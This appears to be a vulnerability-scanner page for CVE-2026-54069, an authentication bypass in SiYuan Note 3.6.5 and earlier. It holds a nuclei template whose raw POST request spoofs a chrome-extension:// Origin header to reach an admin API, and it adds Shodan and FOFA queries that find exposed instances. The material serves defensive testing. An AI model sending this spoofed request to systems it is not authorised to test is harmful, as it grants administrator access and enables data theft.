SiYuan Note <= 3.6.5 - Authentication Bypass

highseverity

9.1CVSS score

7.5%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

SiYuan Note 3.6.5 and prior is vulnerable to authentication bypass. The CheckAuth middleware unconditionally trusted all chrome-extension:// origins, granting RoleAdministrator access without token validation to any request with a spoofed Origin header. Fixed in v3.7.0.

Impact

Attackers can access all admin API endpoints, enabling full data exfiltration, stored XSS injection, and configuration tampering.

Fix

Update to SiYuan Note v3.7.0 or later.

How to confirm it

Send: POST /api/system/getConf
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "\"code\":0") and contains_all(body, "\"conf\"", "\"system\"", "\"kernelVersion\"")

Run it with nuclei: nuclei -id CVE-2026-54069 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-54069

info:
  name: SiYuan Note <= 3.6.5 - Authentication Bypass
  author: 0x_Akoko
  severity: high
  description: |
    SiYuan Note 3.6.5 and prior is vulnerable to authentication bypass. The CheckAuth middleware unconditionally trusted all chrome-extension:// origins, granting RoleAdministrator access without token validation to any request with a spoofed Origin header. Fixed in v3.7.0.
  impact: |
    Attackers can access all admin API endpoints, enabling full data exfiltration, stored XSS injection, and configuration tampering.
  remediation: |
    Update to SiYuan Note v3.7.0 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hvr9-72v2-fff3
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54069
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-54069
    epss-score: 0.07475
    epss-percentile: 0.94521
    cwe-id: CWE-346
  metadata:
    verified: false
    max-request: 1
    vendor: siyuan-note
    product: siyuan
    shodan-query: title:"SiYuan"
    fofa-query: title="SiYuan" || body="siyuan"
  tags: cve,cve2026,siyuan,auth-bypass,unauth

http:
  - raw:
      - |
        POST /api/system/getConf HTTP/1.1
        Host: {{Hostname}}
        Origin: chrome-extension://auth-test
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"code\":0")'
          - 'contains_all(body, "\"conf\"", "\"system\"", "\"kernelVersion\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from